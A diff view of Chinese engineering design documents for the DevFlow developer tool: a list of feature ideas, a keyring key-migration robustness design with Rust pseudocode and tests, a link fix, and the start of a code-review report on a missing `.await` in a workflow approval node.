| **规格契约自检(活契约+AI自检)** | `规格契约自检机制-2026-06-14.md`。⚠️ **创意 4/5 是其延伸(从一致性 → 陈旧度/回归),非完全避开** |
**本池 5 个创意切入的空白维度**: 演化 · 时效 · 回溯 · 债务 · 契约
---
## 三、创意清单
> 每个创意含: 核心表格(可行性列区分「复用」与「新造」)+ ⚠️ 难点与风险 + 💀 失败模式
### 1. 想法演化图谱(Idea Genealogy Graph) 💡待评估 ⭐首选评估
| 维度 | 内容 |
|---|---|
| **核心** | 给想法做版本控制: 分裂(A→A1/A2 变体)、合并(B+C→D)、演化(A1→A2 迭代)。形成有向演化树,而非当前扁平列表。注: `related_ideas` 字段是否真闲置待核实 |
| **独创** | **中**。把想法当"活体"追踪血统,区别于笔记/看板的扁平存储。但"分裂/合并"本质是版本控制 + 关系图(Git 已是此模型),套到想法上是应用层创新,非机制创新 |
| **价值** | 独立开发者痛点: 想法散落、重复想同一件事而不自知。演化图能回答"这想法三年前想过、演变成啥、为何没做" |
| **可行性** | **复用**: Idea 实体加 `parent_id / derived_from[] / merged_into` 三字段 + 前端复用 df-workflow DAG 可视化 + 评分引擎增量重算子树。**新造**: 关系建立机制(见难点,是真正成本所在) |
| **落地关键** | 关系字段建模 + 演化树渲染 + 分裂/合并交互 |
**⚠️ 难点与风险**
- **关系谁来建是核心漏洞**: 手动建 → 用户不知两想法相关,图谱永远稀疏;AI 辅助建 → 需语义相似度检索(当前 df-ideas 无此能力),不是"加三字段"那么轻
- 演化树布局算法非平凡(多层 DAG 节点排布,复用 DAG 可视化但树 ≠ 工作流 DAG)
- 关系正确性: 错误的合并/分裂会污染反推的产品方向
**💀 失败模式**: 图谱稀疏(没人建关系)→ 沦为摆设;或 AI 误判相似度 → 错误合并污染演化树。
### 2. 灵感孵化器(Idea Incubator) 💡待评估
| 维度 | 内容 |
|---|---|
| **核心** | 评估为 `Defer` / 低分的想法进"孵化器"。三类事件触发自动再评估: ①新技术栈匹配能力;②新想法建立演化关联;③固定周期(如 30 天)。时机成熟浮出提醒 |
| **独创** | **中**。承认想法有时效性,把评估从"快照"变"持续监听"。但"延迟队列 + 条件触发"是通用模式,挂到想法上是场景应用 |
| **价值** | 好想法死于"现在不是时候"后被遗忘。背景静默复检,贴合产研节奏 |
| **可行性** | **复用**: `adversarial.rs` 评估管线(已预留 LLM 接口)。**新造**: `incubator` 表 + 后台 ticker + 触发条件 DSL。**注意**: 评估当前手动触发(晋升走前端),后台自动重评估触及触发机制,**非纯增量** |
| **落地关键** | 触发条件 DSL + 后台 ticker + 浮出提醒 |
**⚠️ 难点与风险**
- 评估从手动 → 自动触及核心链路(触发机制改造),不是"纯增量不碰核心"
- 触发条件①"新技术栈匹配"要求 Idea 能表达"我需要什么技术栈",当前 Idea 实体无此字段 —— 可行性有前置漏洞
- **依赖创意 1**: 触发器②"演化关联"依赖创意 1 的演化关系先存在(见第四节依赖)
**💀 失败模式**: 触发条件太宽 → 频繁打扰变垃圾提醒;太窄 → 永不触发,等同丢弃。
### 3. 执行回放时间线(Execution Replay) 💡待评估
| 维度 | 内容 |
|---|---|
| **核心** | 工作流执行 + Git commit + AI 决策录制为不可变时间线。可回退到任意历史节点,隔离环境改参数重放分支(what-if),对比结果差异 |
| **独创** | **中**。可回放工作流是成熟模式(temporal/cadence 的 event sourcing + replay)。**独创点应收敛到"决策级 what-if 回放"**(面向产研决策维度的假设检验),工作流回放只是载体,非独创本身 |
| **价值** | 回答"如果当时审批选了另一分支会怎样""AI 节点为何这么决策"。对复盘、调试失败工作流价值高 |
| **可行性** | **复用**: `df-execute` Docker 隔离 + `df-workflow` DAG / node IO 结构化。**新造**: 节点 IO 快照持久化 + 状态机重放 + 副作用处理。**注意**: Docker 隔离 ≠ 可重放,隔离只解决执行环境,快照/重放是新工作量 |
| **落地关键** | 节点 IO 快照持久化 + 隔离环境重放 + diff 对比视图 |
**⚠️ 难点与风险**
- "架构已铺好差最后一公里"高估 —— 最后一公里(快照序列化 + 状态机重放 + 副作用处理)可能是最难的
- 副作用处理: 有外部副作用的节点(写文件/调 API)无法纯重放,需标记 + mock
- 存储成本: 全程录制 IO,长期项目存储膨胀
**💀 失败模式**: 副作用节点无法重放 → what-if 结果失真;或快照存储膨胀 → 用户关闭录制。
### 4. 上下文债务追踪(Context Debt Tracker) 💡待评估
| 维度 | 内容 |
|---|---|
| **核心** | AI 定期审计项目"隐式债务": ①引用已删除文件的决策;②"暂时如此"从未回头的 TODO;③前提假设失效;④重复实现/废弃路径。生成债务报告 + 偿还优先级 |
| **独创** | **中高(重定位)**: 本创意是 [规格契约自检机制](规格契约自检机制-2026-06-14.md)的**延伸** —— 从"AI 自检决策规格是否被遵守(一致性)"扩展到"AI 自检决策是否腐化(陈旧度)"。非全新方向,是规格契约自检的第二个应用维度 |
| **价值** | 长期项目头号隐性成本是"上下文腐化"。让 AI 当项目审计师。对维护多项目尤其救命 |
| **可行性** | **复用**: `df-project` Git/路径扫描 + Decision 实体 + `df-ai` 路由 + df-nodes agent 抽象。**新造**: 债务探测器 agent + 偿还优先级算法。**注意**: agent 跨文件推理判断"前提失效"可靠性存疑,"纯 agent 编排"低估了质量风险 |
| **落地关键** | 债务类型分类 + 探测 agent + **偿还优先级算法(未定义,核心难点)** |
**⚠️ 难点与风险**
- **依赖多项目基础(未就绪)**: 价值高度依赖"一人维护多项目"场景,而 devflow 当前单项目/本地优先,导入历史项目(todo)未做。**时序倒置**
- agent 跨文件推理可靠性: 误判"前提失效"会误报,误报泛滥 → 用户关闭
- 偿还优先级算法无现成方案,需自设计
**💀 失败模式**: agent 误报泛滥 → 用户关闭功能;或单项目场景下债务量不足以体现价值。
### 5. 决策回归守护(Decision Regression Guard) 💡待评估
| 维度 | 内容 |
|---|---|
| **核心** | 关键决策绑定可执行验证契约("选 A 因性能优" → 绑性能基准脚本)。代码变更触及相关模块(Git diff 关联)时守护自动重跑;契约失败 = 决策失效,阻断发布或报警 |
| **独创** | **中(降级)**: 实现机制等同测试(跑脚本验证断言),差异仅在断言语义来源(决策 vs 需求)。准确定位为"**决策驱动的测试生成**" —— 独创点在从决策自动生成守护测试,非守护机制本身 |
| **价值** | 解决"决策当初对、后来悄悄变错"的隐患 |
| **可行性** | **复用**: `df-workflow` DAG + `df-execute` 脚本执行 + Decision 实体 + Git diff。**新造**: 契约绑定语法 + 守护触发节点。**注意**: 审批(事前)与守护(事后持续)机制不同,Wave5 审批基座未必直接复用为持续触发 |
| **落地关键** | 契约绑定语法 + Git diff 关联触发 + 失效阻断策略 |
**⚠️ 难点与风险**
- **与创意 4 争抢 Decision 实体扩展**: 4 要腐化审计标记,5 要 `guard_contract` 字段。若都做需先定义 Decision 统一扩展模型
- 从决策文本自动生成有意义的守护测试,LLM 生成质量是瓶颈
- "代码变更触及相关模块"的关联判定(Git diff → Decision)需决策到代码的映射,无现成方案
**💀 失败模式**: LLM 生成的守护测试无意义/假通过 → 守护形同虚设;或关联判定不准 → 该触发没触发。
---
## 四、优先级建议
| 创意 | 落地难度 | 独创性 | 依赖 | 建议 |
|---|---|---|---|---|
| 1 想法演化图谱 | 低 | 中 | 无 | **⭐首选评估**: 改动最局限(df-ideas)、依赖最少,但先解"关系谁来建"漏洞 |
| 2 灵感孵化器 | 中 | 中 | 依赖 1 的演化关系字段 | 与 1 有依赖非并行;独立做需砍"演化关联"触发器 |
| 5 决策回归守护 | 中 | 中 | 与 4 争 Decision 扩展 | 决策驱动测试生成,待 LLM 生成质量成熟 |
| 4 上下文债务追踪 | 中高 | 中高 | 依赖多项目基础(未就绪) | 价值高但**时序靠后** —— 等"导入历史项目"做完 |
| 3 执行回放 | 高 | 中 | 副作用处理/存储成本 | 工作量最大,后置;独创点重定位为决策级回放 |
**首选变更说明**: 原⭐推荐创意 4,自审后发现三理由均打折(痛点依赖多项目/无需新基建被高估/差异化因与规格契约自检重叠而削弱),且依赖未就绪的"导入历史项目"基础,**降级**。首选改**创意 1** —— 改动最局限、依赖最少,但须先解决「演化关系建立机制」核心漏洞。
---
## 五、后期跟进入口
1. 选一个创意(**首选 1 演化图谱**,先解关系建立机制;4 债务追踪价值最高,但等"导入历史项目"基础就绪)
2. 走 devflow 自身评估链: df-ideas 对抗评估(启发式 → LLM)
3. 评估通过 → 立 `<主题>-concept.md` → 进 todo
4. 本池对应创意状态改为 `📐待设计`
---
**相关**: [想法探索-对抗式评估](../03-模块文档/想法探索-对抗式评估-2026-06-12.md) · [任务推进构想](任务推进构想-2026-06-14.md) · [规格契约自检机制](规格契约自检机制-2026-06-14.md)

View File

@@ -0,0 +1,343 @@
# 密钥迁移健壮性设计
> **真相源**(本文档唯一展开完整设计)。功能决策记录仅放摘要 + 指针。
>
> 背景R-PD-1全局代码 review 2026-06-15 §🔴 P1 需设计)— 编辑 provider 提交空 `api_key` 时,无条件把 DB `api_key` 置空走 `INSERT OR REPLACE`**未迁移态** provider 的明文密钥被静默覆盖成空 → keyring 也空 → resolve 返空 → provider 报废,密钥永久丢失。
> 状态:📐 **设计完成,未实施** | 创建2026-06-15 | 来源:全局代码 review 2026-06-15
---
## 一、问题复现:精确触发条件
### 1.1 触发链路
前置条件(**未迁移态**
- 历史 DB`ai_providers.api_key` 列存有明文密钥FR-S1 之前的老数据)。
- keyring对应 `provider_id` 无 entry迁移未成功或启动迁移被跳过/失败)。
- 即「DB 有明文、keyring 空」的双源不一致态。
操作:
1. 用户进入「设置 → 提供商」,点编辑某 provider。
2. 仅修改 `name` / `base_url`**不重新填 `api_key`**)。
3. 前端按约定把空 `api_key` 字段传给 IPC约定空 = 不改密钥)。
4. 后端 `ai_save_provider` 命中空 `api_key` 分支 → 不写 keyring → `record.api_key = String::new()``INSERT OR REPLACE` 全字段覆盖。
### 1.2 keyring / DB 状态时序
```
DB.api_key keyring
─────────────────────────────────────────────
T0 初始(老明文) "sk-real" (空)
T1 编辑提交空 key → commands.rs:334 record.api_key=String::new()
T2 INSERT OR REPLACE "sk-real" 覆盖为 "" (仍空)
T3 resolve_provider_secret
record.api_key 空 → fallback keyring → 仍空
T4 build_provider_for → ensure_resolved_key → Err「未读取到密钥」
T5 provider 报废,密钥永久丢失(无任何日志/提示)
```
**关键坏点**T0→T2 的「DB 有明文」这个唯一存活副本被无条件清空。一旦清空DB 和 keyring 同时空,**无任何兜底**——`resolve_provider_secret`secret.rs:30-35先看 DB、再看 keyring两源都空就返空串。
### 1.3 为什么 R-PD-1 比 CR-01 严重
| 项 | CR-01已修 | R-PD-1本设计 |
|---|---|---|
| 触发 | 删 provider 漏清 keyring | 编辑 provider 不改 key |
| 后果 | keyring 残留(无消费方,不可复活) | **密钥永久丢失provider 报废** |
| 可逆性 | 残留可后续清,无危害 | **不可逆**——明文唯一副本被覆盖成空 |
| 用户感知 | 无 | 静默丢失,下次调用 401/空密钥错才暴露 |
CR-01 是「清理时机」问题残留不可复活R-PD-1 是「明文副本被毁」问题(密钥丢失)——后者危害量级更高。
---
## 二、根因
双根因叠加:
### 2.1 根因 A`INSERT OR REPLACE` 全字段覆盖
`crud.rs:890-900``AiProviderRepo::insert``INSERT OR REPLACE INTO ai_providers (...api_key...) VALUES (...)` —— 编辑场景下 id 已存在REPLACE 整行删除重建,**所有字段**(含 `api_key`)按传入值落库。即使本次只改 `name``api_key` 也被强写为 `record.api_key` 的值。
调用方 `ai_save_provider`commands.rs:334始终把 `record.api_key` 设为空串于是无论是否改密钥DB 明文都被清。
> 注:`update_full`crud.rs:901-910走 `UPDATE ... SET api_key = ?` 同样全字段覆盖,问题对称。当前 `ai_save_provider` 走的是 `insert`,但即便切到 `update_full` 也不解决——根因在调用方传的值,不在 SQL 形式。
### 2.2 根因 B「空 api_key = 不改」约定二义性
commands.rs:326-334 的约定:
- `api_key` 非空 → 写 keyring新/改密钥)
- `api_key` 空 → 不写 keyring「保留原 keyring 密钥不动」
这套约定隐含假设:**「保留原密钥」就是保留 keyring 里的密钥**。但未迁移态下 keyring 根本没有密钥,真正的密钥副本在 DB 明文里。约定只 cover 了「迁移完成态」DB 空、keyring 有完全没考虑「未迁移态」DB 有明文、keyring 空)。
「空 = 不改」这个三字符约定的语义其实是**「不要动密钥」**,但代码实现成了**「把 DB 明文也清空」**——后者在迁移完成态碰巧无害DB 本来就空),在未迁移态就是数据丢失。**约定本身没错,错的是实现把「不改」落成了「清空唯一副本」。**
### 2.3 为什么启动迁移没兜住
`migrate_secrets_to_keyring`secret.rs:50-72在启动时跑一次
- 成功DB 明文 → keyring → DB 置空。完成后「未迁移态」消失。
- 失败:`warn` 日志 + `continue`**DB 明文保留**(设计意图:「下次重试」)。
正是「失败保留明文」这条安全网制造了「未迁移态」长期存在的可能keyring 写入失败(权限/锁定/平台差异)→ 明文滞留 DB → 用户进来编辑 → R-PD-1 触发。**这条安全网本意是保住密钥,却被根因 A/B 在编辑路径上反向利用成密钥丢失入口。**
---
## 三、方案对比
修复方向review 给的指引):**空 `api_key` 时先确认 keyring 有/DB 有再决定清 DB——若 keyring 无且原 DB 非空,先 `set_provider_secret` 补迁再清 DB即时迁移保住密钥不丢。**
围绕这个方向,三个候选方案:
### 方案 A编辑路径即时迁移推荐
`ai_save_provider` 空密钥分支前,加「保住密钥」前置:
1. 读原 DB 记录的 `api_key`(明文)。
2. 读 keyring 当前值。
3. 决策矩阵:
| DB 原值 | keyring 现值 | 动作 |
|---|---|---|
| 非空 | 非空 | 二者一致?以 keyring 为准DB 清空(迁移完成态编辑,行为同现状) |
| 非空 | 空 | **即时迁移**`set_provider_secret(DB 原值)` → 成功后 DB 清空;失败 → 报错阻断保存,**DB 明文不动** |
| 空 | 非空 | 已迁移态编辑DB 保持空(现状) |
| 空 | 空 | 无密钥 provider新建未填过 keyDB 保持空(现状) |
伪代码commands.rs:328-355 改动):
```rust
let provider_id = id.clone().unwrap_or_else(new_id);
if !api_key.is_empty() {
// 显式改密钥:写 keyring现状不变
if let Err(e) = super::secret::set_provider_secret(&provider_id, &api_key) {
return Err(format!("密钥保存到系统钥匙串失败: {}", e));
}
} else if let Some(pid) = &id {
// 空 key 编辑:保住密钥,防未迁移态丢失
let old = state.ai_providers.get_by_id(pid).await
.map_err(|e| e.to_string())?;
if let Some(old) = old {
if !old.api_key.is_empty() {
// DB 有明文 → 检查 keyring 是否已迁
if super::secret::get_provider_secret(pid).is_none() {
// keyring 空:即时迁移补密钥(失败则阻断保存,明文不动)
if let Err(e) = super::secret::set_provider_secret(pid, &old.api_key) {
return Err(format!(
"检测到密钥尚未迁移至系统钥匙串,本次保存尝试迁移失败: {}\
已保留原密钥未改动,请重试或检查系统钥匙串权限后再次保存。",
e
));
}
tracing::info!("[FR-S1] 编辑路径即时迁移 provider {} 密钥至 keyring", pid);
}
// keyring 已有/迁移成功DB 明文将在下方 INSERT OR REPLACE 清空(迁移完成)
}
}
}
let api_key = String::new(); // DB 恒空(真实密钥在 keyring
let record = AiProviderRecord { /* ... */ };
```
**优点**
- 保住密钥不丢(核心目标达成)。
- 顺带把「未迁移态」在编辑路径收敛到「迁移完成态」——用户每编辑一次,未迁移的 provider 自动补迁。
- 调用方局部改动,不动 crud.rs / 不改 IPC 契约 / 不改前端。
- 失败兜底明确:迁移失败直接 `Err` 阻断保存,**不会比现状更糟**(现状是静默丢失,这里至少明确报错 + 不动 DB
**缺点**
- 即时迁移失败时阻断保存——用户改个 name 也保存不了。但这是**正确行为**:保存就意味着要清 DB 明文,密钥没保住之前清掉就是丢失,宁可阻断也不丢。
- 多一次 DB 读(`get_by_id`)——可接受(编辑本就低频,且 `ai_save_provider` 已读两次 `get_by_id``created_at`/`is_default`,再加一次读明文合理)。
### 方案 B保留 DB 明文直到 keyring 确认成功
`ai_save_provider` 空密钥分支下,**不无条件清 DB**:若 keyring 无值,则 `record.api_key` 保留原 DB 明文INSERT OR REPLACE 落库的还是明文;待启动迁移或下次显式改密钥时再清。
伪代码:
```rust
let api_key_for_db = if api_key.is_empty() {
// 编辑不改 key若 keyring 无值,保留 DB 明文不动
let keyring_val = super::secret::get_provider_secret(&provider_id);
match (keyring_val, id.as_ref().and_then(|pid| /* 读旧 DB 明文 */)) {
(Some(_), _) => String::new(), // keyring 有 → DB 可空
(None, Some(plaintext)) => plaintext, // keyring 无 → 保留 DB 明文
(None, None) => String::new(), // 都无 → 新建无 key
}
} else {
// 显式改 key写 keyringDB 空
/* set_provider_secret ... */
String::new()
};
let record = AiProviderRecord { api_key: api_key_for_db, /* ... */ };
```
**优点**:保住明文,不依赖即时迁移成功。
**缺点**
- **DB 明文长期滞留**:与 FR-S1「DB api_key 列恒空」目标矛盾,恶化 R-PD-4迁移失败明文滞留 SQLite 文件未加密)。
- 把「编辑不改 key」从「收敛到迁移完成态」变成「维持未迁移态」方向反了——本应借编辑机会收敛方案 B 反而固化未迁移态。
- 决策矩阵更绕(要协调「写 keyring 失败时回退 DB 明文」引入新的不一致窗口keyring 写一半失败、DB 仍明文、下次又来一遍)。
### 方案 C显式迁移标志位
`AiProviderRecord``secret_migrated: bool` 列(或用 `config` JSON 存),空密钥分支下:
- 标志位 true → 已迁移DB 清空安全。
- 标志位 false → 未迁移DB 明文必须保留(或即时迁移)。
**优点**状态显式可观测不靠「DB 空 vs keyring 有」反推),排查友好。
**缺点**
- **schema 演进成本**加列要迁移历史库ALTER TABLE / 默认值 / 向后兼容老客户端读不懂新列)。
- 三个真值源标志位、DB 明文、keyring比两个DB 明文、keyring更难保持一致——标志位忘更新又成新坑。
- 收益与复杂度不匹配:方案 A 用「keyring 有/DB 有」二元判定已经足够,标志位是过度设计。
- 与项目「务实最小改动」原则相悖。
### 方案取舍
| 维度 | A 即时迁移 | B 保留明文 | C 标志位 |
|---|---|---|---|
| 密钥不丢 | ✅ | ✅ | ✅(靠 A/B 实现) |
| 收敛未迁移态 | ✅ 编辑即迁移 | ❌ 维持未迁移 | 取决于实现 |
| 改动面 | 局部commands.rs | 局部commands.rs | 大schema + crud + 模型 + 迁移) |
| 与 FR-S1/R-PD-4 一致 | ✅ | ❌ 恶化明文滞留 | 中性 |
| 复杂度 | 低 | 中 | 高 |
**推荐方案 A**:最小局部改动达成核心目标(密钥不丢),顺带收敛未迁移态,与 FR-S1 方向一致,失败兜底明确不劣化现状。
---
## 四、推荐方案 A改动清单
### 4.1 改动文件
| 文件 | 改动 | 行号(截至 2026-06-15 |
|---|---|---|
| `src-tauri/src/commands/ai/commands.rs` | `ai_save_provider` 空密钥分支前加「保住密钥」前置(即时迁移) | 328-334`let provider_id = ...``let api_key = String::new()` 之间插入) |
**不改动**
- `crates/df-storage/src/crud.rs` —— `INSERT OR REPLACE` 全字段覆盖是 storage 层中性能力,根因在调用方传值;改 SQL 反而把「保留密钥」语义下推到 storage不该 storage 关心密钥迁移)。
- `src-tauri/src/commands/ai/secret.rs` —— `set/get_provider_secret` 已具备所需能力,复用即可,无需新方法。
- IPC 签名 / 前端 / DB schema —— 全部不动。
### 4.2 改动伪代码(完整版)
`commands.rs:328` 处(原代码):
```rust
let provider_id = id.clone().unwrap_or_else(new_id);
if !api_key.is_empty() {
if let Err(e) = super::secret::set_provider_secret(&provider_id, &api_key) {
return Err(format!("密钥保存到系统钥匙串失败: {}", e));
}
}
let api_key = String::new(); // DB 恒空(真实密钥在 keyring)
```
改为:
```rust
let provider_id = id.clone().unwrap_or_else(new_id);
if !api_key.is_empty() {
// 显式改/填密钥 → 写 keyring现状不变
if let Err(e) = super::secret::set_provider_secret(&provider_id, &api_key) {
return Err(format!("密钥保存到系统钥匙串失败: {}", e));
}
} else if let Some(pid) = &id {
// 空 key 编辑保住密钥防未迁移态静默丢失R-PD-1
let old = state.ai_providers.get_by_id(pid).await
.map_err(|e| e.to_string())?;
if let Some(old) = old {
if !old.api_key.is_empty()
&& super::secret::get_provider_secret(pid).is_none()
{
// DB 有明文 且 keyring 无 → 即时迁移补密钥
if let Err(e) = super::secret::set_provider_secret(pid, &old.api_key) {
return Err(format!(
"检测到该提供商密钥尚未迁移至系统钥匙串,本次保存尝试即时迁移失败({})。\
已保留原密钥未改动——请检查系统钥匙串权限后再次保存。",
e
));
}
tracing::info!(
"[FR-S1] 编辑路径即时迁移 provider {} 密钥至 keyringR-PD-1 兜底)",
pid
);
}
// else: keyring 已有 / DB 已空 → INSERT OR REPLACE 清空 DB 明文安全
}
}
let api_key = String::new(); // DB 恒空(真实密钥在 keyring)
```
### 4.3 决策点
| 决策 | 取值 | 原因 |
|---|---|---|
| 即时迁移失败时 | `Err` 阻断保存,**DB 明文不动** | 保存即清 DB 明文,密钥没保住前清掉就是丢失;阻断 + 明确报错优于静默丢失 |
| 判定密钥源 | keyring 有 → 安全清DB 有 + keyring 无 → 即时迁移;都无 → 新建无 key | 三状态全覆盖,无遗漏分支 |
| 迁移后是否额外校验 keyring 写入 | 不校验(信任 `set_provider_secret` 返回 Ok | `set_provider_secret` 已是 keyring 写入的真相源,重复读 keyring 验证属过度防御 |
| 即时迁移的范围 | 仅编辑路径(`ai_save_provider` 空 key 分支) | 启动迁移 `migrate_secrets_to_keyring` 是批量兜底,编辑路径是单点收敛;两者互补不重叠 |
| 是否记日志 | 成功迁移记 `info`,失败走 `Err`(用户可见) | 成功迁移是状态收敛好事值得记;失败用户必须知道 |
---
## 五、风险与兜底
### 5.1 即时迁移失败时的兜底
即时迁移失败keyring 权限/锁定/平台问题)→ 函数 `return Err`**DB 明文保留不变**INSERT OR REPLACE 未执行)。
- 用户看到:明确错误「即时迁移失败,请检查钥匙串权限后再次保存」。
- 系统状态与保存前完全一致DB 明文还在keyring 仍空,下次启动迁移或下次编辑还会再试)。
- **绝不劣化现状**:现状是静默丢失,本方案最坏是「保存失败 + 明确报错 + 状态不变」。
### 5.2 边界场景
| 场景 | 行为 |
|---|---|
| 编辑刚新建id 不存在/无 old 记录) | `old = None` → 不进迁移分支 → DB 空(新建无 key 正常) |
| 编辑已迁移态DB 空、keyring 有) | `old.api_key.is_empty()` → 不进迁移分支 → DB 保持空(现状) |
| 编辑已迁移态但 keyring 被外部清空 | DB 空 + keyring 空 → 不进迁移分支 → DB 保持空 → provider 早已报废(非本设计引入的新问题,属 R-PD-4 范畴) |
| 并发两次保存同一 provider | `get_by_id` 各读各的INSERT OR REPLACE 串行化落库;最坏后写覆盖先写,密钥不丢(两者都迁成功或都报错) |
| 用户编辑同时填了新 api_key | 走 `!api_key.is_empty()` 显式分支,覆盖写 keyring现状不变不进即时迁移分支 |
### 5.3 不解决的问题(明确边界)
- **R-PD-4**(迁移失败明文长期滞留 SQLite 文件未加密本方案不直接解决——即时迁移只是把「未迁移态」在编辑路径收敛启动迁移失败仍会留下滞留明文。R-PD-4 走独立方向(补 N 次失败阈值警告),不在本设计范围。
- **provider 被外部清空 keyring 导致已迁移态变废**:本方案不感知外部 keyring 变更(编辑时读 keyring 是即时快照),属 keyring 健康监控范畴,不在本设计。
- **CR-01**(删 provider 漏清 keyring已修删除路径已加 `delete_provider_secret` 兜底,与本设计(编辑路径)正交。
---
## 六、关联
- **全局代码 review 2026-06-15** §🔴 P1 R-PD-1 — 问题来源与本设计指针。
- **CR-260615-01 / CR-01**(已修):`ai_delete_provider` 删 provider 漏清 keyring → 已加 `delete_provider_secret` 兜底commands.rs:397-399。本设计是「编辑路径」的对称补丁与「删除路径」构成密钥生命周期的两端健壮性。
- **R-PD-4**P2 需设计keyring 迁移失败明文滞留 SQLite 文件未加密 — 与本设计同源启动迁移失败制造未迁移态但治理方向不同本设计收敛编辑路径R-PD-4 加滞留告警)。两者互补。
- **FR-S1**api_key 密钥管理):`secret.rs` 的 keyring 迁移机制(启动迁移 + resolve fallback + set/get/delete是本设计依赖的基础设施。本方案在编辑路径补一个「即时迁移」单点与启动批量迁移形成双层兜底。
- **migrate_secrets_to_keyring**secret.rs:50-72启动批量迁移失败保留明文重试——本设计借编辑路径在用户操作时再做一次单点迁移提升收敛率。
- **resolve_provider_secret**secret.rs:30-35DB 优先 fallback keyring 的双源 resolve是「未迁移态」仍可用的原因本方案收敛未迁移态后resolve 路径长期看会稳定走 keyring 分支。
---
## 七、测试设计
| 用例 | 方法 | 期望 |
|---|---|---|
| 未迁移态编辑不改 key → 即时迁移成功 | mockDB 存明文 + keyring 空,调用 `ai_save_provider` 空 key 改 name | 迁移成功keyring 写入明文DB `api_key` 清空,函数返回 Ok(id) |
| 未迁移态编辑不改 key → 即时迁移失败 | mock`set_provider_secret` 返回 ErrDB 存明文 | 函数返回 Err含迁移失败提示**DB `api_key` 明文保留不变**(核心兜底) |
| 已迁移态编辑不改 key | mockDB 空 + keyring 有,调用空 key 编辑 | 不进迁移分支DB 保持空,函数返回 Ok |
| 新建 provider 无 key | `id=None``api_key=""` | 不进迁移分支(无 old 记录DB 空,返回 Ok |
| 显式改 key非空 api_key | 任意态,传非空 api_key | 走显式分支写 keyring不进即时迁移分支现状不变 |
| 已迁移态但 keyring 被外部清 + DB 也空 | mockDB 空 + keyring 空 | 不进迁移分支DB 保持空provider 已废,非本设计引入) |
| 即时迁移后 resolve 正常 | 即时迁移成功后调 `resolve_provider_secret` | 返回非空密钥(迁移成功后 keyring 是唯一源) |
测试位置:`src-tauri/src/commands/ai/commands.rs``#[cfg(test)]` 模块若现无则新增mock `set/get_provider_secret`(可通过 trait 抽象 + 测试替身,或抽 secret 操作到可注入句柄)。
---
**相关**
- `docs/05-代码审查/全局代码review-2026-06-15.md` §🔴 P1 R-PD-1 — 问题来源
- `src-tauri/src/commands/ai/commands.rs:299-355``ai_save_provider` 实施位置
- `src-tauri/src/commands/ai/secret.rs` — keyring 迁移/resolve 基础设施
- `crates/df-storage/src/crud.rs:884-911``AiProviderRepo` insert/update_full不改
- 功能决策记录「密钥迁移健壮性」— 设计摘要(待补)

View File

@@ -140,4 +140,4 @@
> **方向有价值,形态要收敛。** "本地优先 + 任务分支驱动 + AI 辅助流程"是真空隙;"全流程操作系统"是幻觉。砍掉 60% 的功能不是失败,是论证的胜利——它们本来会消耗 6-9 个月却没人用。
>
> 同时,本次论证方法本身(三路对抗)被产品化为想法池的"对抗式评估"功能,详见 `docs/03-模块文档/想法探索-对抗式评估.md`。这是 DevFlow 吃自己的狗粮的第一个案例。
> 同时,本次论证方法本身(三路对抗)被产品化为想法池的"对抗式评估"功能,详见 `docs/03-模块文档/想法探索-对抗式评估-2026-06-12.md`。这是 DevFlow 吃自己的狗粮的第一个案例。

View File

@@ -0,0 +1,129 @@
# 工作流审批子系统对抗审查报告
> 2026-06-14 · 多代理审查(31 agents / 5 维度 × 对抗验证) + 主代理独立复核 + 二轮对抗论证
> 范围: df-workflow/{executor,state,eventbus}.rs · df-nodes/human_node.rs · df-core/events.rs · src-tauri/{commands/workflow,state}.rs · src/stores/project.ts · src/api/{types,workflow}.ts · src/views/ProjectDetail.vue
> 方法: workflow fan-out 审查 → 每发现独立对抗验证(默认反驳) → 主代理读源码复核 criticals → 二轮对抗论证(存在性/可达性/危害三维)
## TL;DR
1. **头号 bug [P0 阻断]**: `human_node.rs:41``HumanApprovalRequest``.await``EventBus::send` 是 async fn`let _ = async_fn()` 丢弃 Future 未 poll → body 不执行 → **Request 从未进入 channel**。审批链最上游断裂。
2. **①②(前端契约失配) 被头号遮蔽**: Request 没发 → 前端 `onEvent` 收不到 → type 匹配分支不可达。修 41 行后 ①② 才显形为 critical。
3. **当前 UI 无 human 节点 DAG 入口**: `demoDag` 仅 script 节点AI 工具 `run_workflow` 返回提示不执行。审批相关 9 项发现现实触发率=0全部潜伏。
4. **根因**: 审批功能前端从未端到端跑通41 行 await 漏掉即铁证),单测绿但不覆盖 human→前端弹窗→审批→返回链路。
---
## 0. 头号发现 [P0]
### 0.1 缺陷定位
`crates/df-nodes/src/human_node.rs:41-47`
```rust
let _ = ctx.event_bus.send(WorkflowEvent::HumanApprovalRequest {
execution_id: ctx.execution_id.clone(),
node_id: ctx.node_id.clone(),
title: title.to_string(),
description: description.to_string(),
options: options.clone(),
}); // ← 无 .await
```
### 0.2 机制
- `EventBus::send` 签名 (`eventbus.rs:33`): `pub async fn send(&self, event: WorkflowEvent)` — async fn。
- `let _ = async_fn()` 求值得 Future绑定 `_` 后语句结束立即 drop**Future 零 poll**。
- async fn body (`self.sender.send(event)`) 仅在 Future 被 poll 时执行 → 此处永不执行 → Request 未进 broadcast channel。
### 0.3 对抗自检(排除假阳)
| 质疑 | 核实 |
|------|------|
| 测试为何 pass? | `normal_approval_returns_decision` 的 helper `send_response``send(...).await`(`human_node.rs:172` 有 await) 发的是 **Response**HumanNode 的 Request 那行没 await。测试只断言 Response 被 rx 收到并返回 decision**不验证 Request 是否发出**。绿测不能证伪。 |
| 编译器为何不报? | `let _ = expr` 合法通配符绑定async fn 生成的 Future 默认无 `#[must_use]`,零 warning。 |
| 是否误用同步 fn? | `eventbus.rs:44` `emit_human_approval_request` 是同步 fn(返 Result),但 HumanNode 未用它,用的是 async `send`。 |
| 多代理为何漏? | 审查聚焦前端契约(①②)与串扰(③),未逐行核 HumanNode 内 send 调用点是否 await。主代理二轮读 human_node.rs 全文才发现。 |
### 0.4 触发路径
`human_node.rs:38 subscribe → :41 send(无await)` → Request 未发 → `workflow.rs` 转发任务 rx 收不到 → 前端 `onEvent` 不触发 `HumanApprovalRequest` 分支 → `pendingApproval` 恒 null → 弹窗不开 → HumanNode `select!` 阻塞至 `:86 sleep_until(deadline)` 默认 3600s 超时 → Err → 工作流 failed。
### 0.5 修复
```diff
- let _ = ctx.event_bus.send(WorkflowEvent::HumanApprovalRequest { ... });
+ ctx.event_bus.send(WorkflowEvent::HumanApprovalRequest { ... }).await;
```
---
## 1. 反转结论
### 1.1 ①② 被头号遮蔽(降级: 当前不可达)
